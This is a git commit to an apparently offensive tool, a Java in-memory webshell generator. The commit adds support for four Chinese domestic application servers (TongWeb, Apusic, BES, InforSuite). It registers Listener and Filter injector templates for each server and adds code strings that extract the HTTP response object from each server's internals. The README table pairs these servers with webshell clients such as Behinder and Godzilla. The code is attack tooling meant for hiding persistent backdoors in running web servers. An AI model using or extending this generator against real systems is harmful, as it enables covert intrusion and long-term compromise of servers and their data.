add: 添加对信创中间件的支持

This commit is contained in:
pen4uin
2025-01-01 12:17:45 +08:00
parent 1a96f20f90
commit c1b7628c82
7 changed files with 83 additions and 15 deletions
+14 -10
View File
@@ -20,16 +20,20 @@
## 功能
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
| Undertow | | Custom | | JAR_AGENT | |
| GlassFish | | | | JS | |
| | | | | JSP | |
| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
| ------------------ | ------------- | ------------------------------------------------------------ | ------------- | ---------- | -------------- |
| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
| Undertow | | Custom | | JAR_AGENT | |
| GlassFish | | | | JS | |
| Apusic(金蝶) | | | | JSP | |
| BES(宝兰德) | | | | | |
| InforSuite(中创) | | | | | |
| TongWeb(东方通) | | | | | |
| | | | | | |
## 编译
+5 -1
View File
@@ -27,7 +27,11 @@ public class Console {
Constants.SERVER_WEBSPHERE,
Constants.SERVER_UNDERTOW,
Constants.SERVER_GLASSFISH,
Constants.SERVER_JBOSS);
Constants.SERVER_JBOSS,
Constants.SERVER_TONGWEB,
Constants.SERVER_APUSIC,
Constants.SERVER_BES,
Constants.SERVER_INFORSUITE);
private static final List<String> TOOL_TYPES = Arrays.asList(
Constants.TOOL_GODZILLA,
Constants.TOOL_BEHINDER,
@@ -2,7 +2,7 @@ package jmg.core.config;
public class Constants {
public static final String JMG_VERSION = "1.0.8_240914";
public static final String JMG_VERSION = "1.0.9_250101";
public static final String JMG_NAME = "java-memshell-generator";
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
@@ -22,6 +22,11 @@ public class Constants {
public static final String SERVER_JBOSS = "JBoss";
public static final String SERVER_TONGWEB = "Tongweb";
public static final String SERVER_APUSIC = "Apusic";
public static final String SERVER_INFORSUITE = "Inforsuite";
public static final String SERVER_BES = "BES";
public static final String SHELL_LISTENER = "Listener";
public static final String SHELL_FILTER = "Filter";
@@ -31,6 +31,32 @@ public class InjectorUtil {
static {
INJECTOR_CLASSNAME_MAP.put("ApusicListenerInjector", ApusicListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("ApusicFilterInjector", ApusicFilterInjectorTpl.class.getName());
Map<String, String> apusicMap = new HashMap();
apusicMap.put(Constants.SHELL_LISTENER, "ApusicListenerInjector");
apusicMap.put(Constants.SHELL_FILTER, "ApusicFilterInjector");
classMap.put(Constants.SERVER_APUSIC, apusicMap);
INJECTOR_CLASSNAME_MAP.put("BESListenerInjector", BESListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("BESFilterInjector", BESFilterInjectorTpl.class.getName());
Map<String, String> besMap = new HashMap();
besMap.put(Constants.SHELL_LISTENER, "BESListenerInjector");
besMap.put(Constants.SHELL_FILTER, "BESFilterInjector");
classMap.put(Constants.SERVER_BES, besMap);
INJECTOR_CLASSNAME_MAP.put("InforSuiteListenerInjector", InforSuiteListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("InforSuiteFilterInjector", InforSuiteFilterInjectorTpl.class.getName());
Map<String, String> inforsuiteMap = new HashMap();
inforsuiteMap.put(Constants.SHELL_LISTENER, "InforSuiteListenerInjector");
inforsuiteMap.put(Constants.SHELL_FILTER, "InforSuiteFilterInjector");
classMap.put(Constants.SERVER_INFORSUITE, inforsuiteMap);
INJECTOR_CLASSNAME_MAP.put("TongWebListenerInjector", TongWebListenerInjectorTpl.class.getName());
Map<String, String> tongwebMap = new HashMap();
tongwebMap.put(Constants.SHELL_LISTENER, "TongWebListenerInjector");
classMap.put(Constants.SERVER_TONGWEB, tongwebMap);
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
@@ -56,13 +82,13 @@ public class InjectorUtil {
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector",TomcatValveInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector", TomcatValveInjectorTpl.class.getName());
Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
tomcatMap.put(Constants.SHELL_VALVE,"TomcatValveInjector");
tomcatMap.put(Constants.SHELL_VALVE, "TomcatValveInjector");
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
@@ -17,6 +17,10 @@ public class ResponseUtil {
METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
METHOD_BODY_MAP.put("inforsuite", getCommonMethodBody());
METHOD_BODY_MAP.put("bes", getCommonMethodBody());
METHOD_BODY_MAP.put("tongweb", getTongwebMethodBody());
METHOD_BODY_MAP.put("apusic", getApusicMethodBody());
}
public static String getMethodBody(String serverType) {
@@ -73,4 +77,24 @@ public class ResponseUtil {
"return response;}";
}
private static String getTongwebMethodBody() {
return "{javax.servlet.http.HttpServletResponse response = null;" +
" try {" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
" } catch (Exception ex) {" +
" try {" +
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
" } catch (Exception ex1) {" +
" }" +
" }\n" +
" return response;}";
}
private static String getApusicMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"http\"),\"response\");" +
" return response;}";
}
}
@@ -112,7 +112,8 @@ public class jMGForm {
ArrayList<String> servletApiServerBox = new ArrayList<>(Arrays.asList(
Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE,
Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS
Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS,
Constants.SERVER_TONGWEB, Constants.SERVER_APUSIC, Constants.SERVER_BES, Constants.SERVER_INFORSUITE
));
ArrayList<String> interceptorServerBox = new ArrayList<>(Arrays.asList(Constants.SERVER_SPRING_MVC));
@@ -36,6 +36,10 @@ public class ShellHelper implements IHelper {
enumServerType.add(Constants.SERVER_UNDERTOW);
enumServerType.add(Constants.SERVER_GLASSFISH);
enumServerType.add(Constants.SERVER_JBOSS);
enumServerType.add(Constants.SERVER_TONGWEB);
enumServerType.add(Constants.SERVER_APUSIC);
enumServerType.add(Constants.SERVER_BES);
enumServerType.add(Constants.SERVER_INFORSUITE);
server_type.setEnumValue(enumServerType);
server_type.setDefaultValue(Constants.SERVER_TOMCAT);
server_type.setRequired(true);